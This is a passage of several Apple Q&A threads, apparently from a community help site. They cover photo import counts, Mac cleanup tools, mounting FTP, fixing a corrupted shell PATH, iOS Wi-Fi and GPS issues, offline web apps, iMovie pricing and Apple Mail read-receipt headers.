Photos with the same filename, but different dates, also import fine. One of the devices has more than 10,000 photos, and since the filenames are IMG_0000 to IMG_9999 (with JPG, PNG, MOV, etc. extensions of course), there are only 10,000 unique names. I have, for example, an IMG_3955.JPG from this past March, and another IMG_3955.JPG from July 2014. The older one imports as "IMG_3955 1.JPG"

Duplicated photos seem to be the culprit. That is, photos added to the Camera Roll by means of the iOS Photos app's "Duplicate" command.

Photos are stored in the Camera Roll ordered by the time they are created. So if, on August 23, you Duplicate a photo from August 11, it will show up as the last picture on your Camera Roll... but you might notice scrolling through Camera Roll photos in order, that this Duplicate shows up with the August 11 date, same date as the original.

I have 3 photos (visible as separate items both on the device and in Image Capture) with name IMG_9234.JPG and the exact same date/time. Only one copy was imported.

Apparently when Image Capture sees these a photo with the same exact filename and same timestamp (which is probably a last-modified time, rather than a created time), it either ignores the picture (thinking it was already imported) or else it overwrites the last one it imported.

I'm not sure if this is a bug, an oversight, or was intentional.

But the discrepancy in the count is very annoying, since the number can't be used as a quick confirmation that all the photos were correctly imported.


Remove useless files from a Mac I want to find a way to delete all the useless files: binaries, log and cache files, duplicate files and app's leftover.

How can I do that?

Onyx (free)

Verify the Startup Disk and the structure of its System files, to run misc. tasks of system maintenance

Configure some hidden parameters of the Finder, Dock, QuickTime, Safari, Mail, iTunes, Login window, Spotlight, and many of Apple’s applications

Delete caches, to remove a certain number of files and folders that may become cumbersome, and more.

...

Removing duplicate files is not supported by Onyx.


Free software for mounting an FTP share as a writeable folder in Finder Transmit and Forklift are paid, we can't use finder, macfusion doesn't work... so I'm wondering...

Is there any free option left to mount an FTP on finder so that I can write files to it? Maybe using scripts or automator? Maybe fixing my issue with macfusion? I don't even know why my installed macfuse is 2.1.7 (beta) while it asks me to "update" to 2.0.3 or, if I tick "Show Beta Versions", 2.1.5! In general, it looks to me the whole thing is too unstable yet.

Last case, I'll just stick with CyberDuck. And yes, I've  just tried them all except automator.

You could create a tiny Automator application to do the job.

Inside of Automator, add the following two actions to your workflow

"Get specified servers"
Specify your server/servers in this action as follows: ftp://username:password@yourserver.com
"Connect to servers"

(The names of the steps might not be a little off since I'm not running an English version of OS X)

Save this as an application and start it whenever you need. You can also make it a startup item in System Preferences > Account under the Startup items tab.


Using FaceTime HD Camera without FaceTime I have a Facetime HD camera in my new iMac but no one else I know has one. How can I test the HD capability of it? Photobooth doesn't take pictures in HD.

QuickTime -> File -> New Movie Recording


Is there a way to stream video to an Apple TV without iTunes? Can I stream video to an Apple TV without using iTunes? iTunes is good, but if I can have another way to stream video, it would be great.

Indeed there is. You can try AirFlick - it encodes video on the fly and sends it straight to your AppleTV. I've used it for a while now, and although it can be a little unstable from time to time, it really is very useful.

Of course, you could always install XBMC following this guide and control it, play all sorts of video, and make tons on neat customizations however you see fit.

Good luck.


Terminal Crash on Macbook Air 2011, Mavericks I've managed to wreck my Terminal of my Air's OS X (10.9.5) while running a sudo command (sudo mv git /etc/paths.d) during git installation.
(Following https://stackoverflow.com/questions/4725389/how-to-get-started-with-git-on-mac)

Now I receive a continuous string of errors on every new Terminal window that I start, the first 3 lines of which are:

-bash: ???H??: command not found
-bash: command substitution: line 4: syntax error near unexpected token `('
-bash: command substitution: line 4: `:??H?u?H??HH?BH?E??H?? ]?ffff.?:?U??E???

While the Terminal commands do go through after all the errors are listed, RStudio does not start, and the error pop-up states:

"Unexpected exception: Unmatched marking paranthesis ( or (. The error occurred while passing the regular expression fragment: ' "

This error stays even on reinstallation of RStudio (while R works correctly)

I've tried resetting the Terminal by deleting ~/Library/Preferences/com.apple.Terminal.plist but the error still persists.

Really appreciate your help!

--EDIT---

echo $PATH is also gives a string of errors, starting with
    /usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/opt/X11/bin:????:O"::D?M?A??H?

Your PATH variable got contaminated by some irregular file content: either your git file in /etc/paths.d/, /etc/profile or ~/.MacOSX/environment.plist or all three are corrupted.

Use shiftcmdG in Finder to jump to each of the folders and check the content of them.

/etc/paths.d/ should contain a file git with the content /usr/local/git/bin. If you have installed other apps like X11 there may be additional files in paths.d - all containing paths.

The file profile in /etc/ should contain at least

# System-wide .profile for sh(1)

if [ -x /usr/libexec/path_helper ]; then
    eval `/usr/libexec/path_helper -s`
fi

if [ "${BASH-no}" != "no" ]; then
    [ -r /etc/bashrc ] && . /etc/bashrc
fi

The file environment.plist should look like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>PATH</key>
    <string>/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/local/git/bin</string>
</dict>
</plist>

The PATH string may contain other paths as well. The file may contain other keys - depending on other installs you have made previously.

If you have found irregular content in one of the files simply replace it with the content shown above. You have to be an admin to modify the first two files because they are root:wheel realm. If you use TextEdit or another text editor to modify them, be sure to save them as plain text and without file extension (i.e. .txt). You can ignore a missing ~/.MacOSX/environment.plist because it isn't supported in your environment (system version) anymore, besides you use some hacks.


Is it possible to sync the Do Not Disturb mode between Mac and iPhone? So when I turn on the Do Not Disturb mode on a mac it would be active also on my iPhone?

Unfortunately no, but this is something I would also greatly appreciate.


Can I use wifi on my iPhone 3G without a sim card? Possible Duplicate:
  Can you use an iPhone without a SIM card as an iPod Touch?

I bought an iPhone 3G that is currently off and doesn't have a sim card. Is there any way I can enable the wifi without having a sim card?

Yes, this works fine.  Just use it as normal, so long as it is not in Airplane Mode it should be no different to having one in.  You may see the odd "no sim card" message at the lock screen, but just ignore it.

To test, I just removed my sim, I received a "no sim card" message (which you cannot "ok" to make it go away), but proceeded to unlock, open a webpage, re-lock and the message had gone.  Everything worked.


Can anyone manipulate the iPad keyboard I am looking for some info surrounding the iPad keyboard. WITHOUT jailbreaking the device, I was curious if someone has been been able to manipulate the look of the keyboard. The functionality should remain the same, but the actual look should change. I was curious if anyone could change the color or shape of the keys.

Not without jailbreaking. With a jailbreak, there are several options for doing this though.

The one that comes to mind immediately is Winterboard, which isn't relegated just to keyboards, but theming the entire OS.

There is also Color Keyboard, which changes the look and feel of the iOS keyboard (although it is iPhone only).


IOS 8.3 and external GPS We have an ipad air, which my partner uses to navigate whilst sailing with a programme called Navionics.

The ipad version is WiFi only, which doesn't have an internal GPS, but that's not a problem because it connects to a separate GPS via Bluetooth.

At least... It wasn't a problem until ios 8.3
Now, although the GPS connects fine,  Navionics can't use it to find its position.

It's a known fault that many people have raised. Apple blame Navionics and vise versa and neither is suggesting a solution is immanent.

Is there anything I've missed that might be a solution to let the Navionics app integrate with an external GPS?

This issue has plagued aircraft pilots for the last few months but there is a resolution on the horizon. Though there is no simple way to repair the connection for most programs, according to this blog:
http://blog.foreflight.com/2015/06/02/ios-8-4-to-resolve-gps-accessory-compatibility-issue/
It should be fixed soon.


Easiest way to build a one-off iPhone "App" (probably JS on a local web page)? At work, we have a certain esoteric calculation that needs to be made from time to time. There is a simple two-line bash script available that does it, but this requires a computer and I often need to do this calculation on the workshop floor or in the field where a laptop might not be immediately to hand. It would be very convenient to have something like an iPhone app instead. It must be usable without an Internet connection as I sometimes work in places with no wifi or phone signal.

Of course I could learn Objective C, set up XCode, get whatever Apple dev account I need for this, and so on - but this seems like a disproportionate amount of work to replace two lines of bash script on one phone for my own use.

So, question, what is the simplest way to make something that looks roughly like an app on my home screen? If it weren't for the offline requirement then a Safari bookmark to an HTML/Javascript page on the Web somewhere would be ideal - is there any equivalent to a file:// URL on iOS?

I asked this as a genuine question, but I'm now answering it myself since I found a technique that works for me and it might help others.

I wrote a basic old-school HTML + Javascript page that did the required calculation, then uploaded it to my web server along with the manifest file described here. Having visited the page once, my phone has cached it and can now re-open it (including re-running the Javascript to give the new result) even without Internet access.


How to upgrade to the latest iMovie for free? My iMac was bought in late 2008 and I recently updated it to version OS X 10.9.4. I still have the '08 version of iMovie. How do I update it? And why would I have to pay to do so if it is a built in app?

Note: As user Pang pointed out, the original answer contains a dead link. This answer may not be valid any more, but you can find updated information about the "Up-To-Date Program" here.

Updated link text:

  Starting in October 2014, Apple announced that Pages, Numbers, and
  Keynote are available free with every qualifying new Mac. If you
  purchased a qualifying Mac that did not include Pages, Numbers, and
  Keynote, you can apply for these apps through the Up-To-Date Program
  by following the steps below.

Original answer:

iMovie costs $14.99 on the Mac App Store. New Mac computers include iMovie (and other creativity/productivity apps) for free. However, the free pricing is not offered for older Macs, as is outlined in the small print/asterisk note on this page.

  * Pages, Numbers, and Keynote are free on the Mac App Store for
  qualifying Mac computers purchased on or after October 1, 2013. OS X
  Mavericks required. Downloading apps requires an Apple ID.

The small print does not include "iMovie" or "iPhoto," but it should since that is how it works. Unfortunately, this means that your 2008 iMac is not eligible for a free copy of the new iMovie — you will have to pay the $14.99 if you want to update.

Updates like bug fixes for the 2008 version of iMovie are free, so you can also choose to keep using the version of iMovie that shipped with your Mac. Just install from the media that came with the Mac or contact AppleCare to have a replacement DVD shipped to you.

Another option is to activate a new Mac with your Apple ID and simply associate the free versions of the software with your account. If you have a friend who purchased a new Mac but is already eligible to download those apps, ask if you can sign in first with your account to get those free apps.


Mac OSX email message report How can i get a message report that tells me that an email i sent has been received and opened?

You can enable a Read Request Receipt in Apple Mail, so if the receiver client support it, you'll get a "Read Receipt" back.

It is possible to add these headers to to outgoing mails:

"Disposition-Notification-To" (Read Request Receipt)
Bcc
"Reply-To"

To make Apple Mail request a read receipt for every message you send:

Open Terminal.
Type "defaults read com.apple.mail UserHeaders".
Press Enter.
If that command returns "The domain/default pair of (com.apple.mail, UserHeaders) does not exist":

Type

defaults write com.apple.mail UserHeaders '{"Disposition-Notification-To" = "Name <email@address>"; }'

replacing Name with your name and email@address with your email address.

The complete line could read defaults write com.apple.mail UserHeaders '{"Disposition-Notification-To" = "FirstName LastName <sender@example.com>"; }'

And to add one of the other headers you just add it to the line - then the line could read like this:

defaults write com.apple.mail UserHeaders '{"Reply-To" = "ReplyFirstName ReplyLastName <reply@example.com>"; Bcc = "BccFirstName BccLastName <bcc@example.com>"; "Disposition-Notification-To" = "FirstName LastName <sender@example.com>"; }'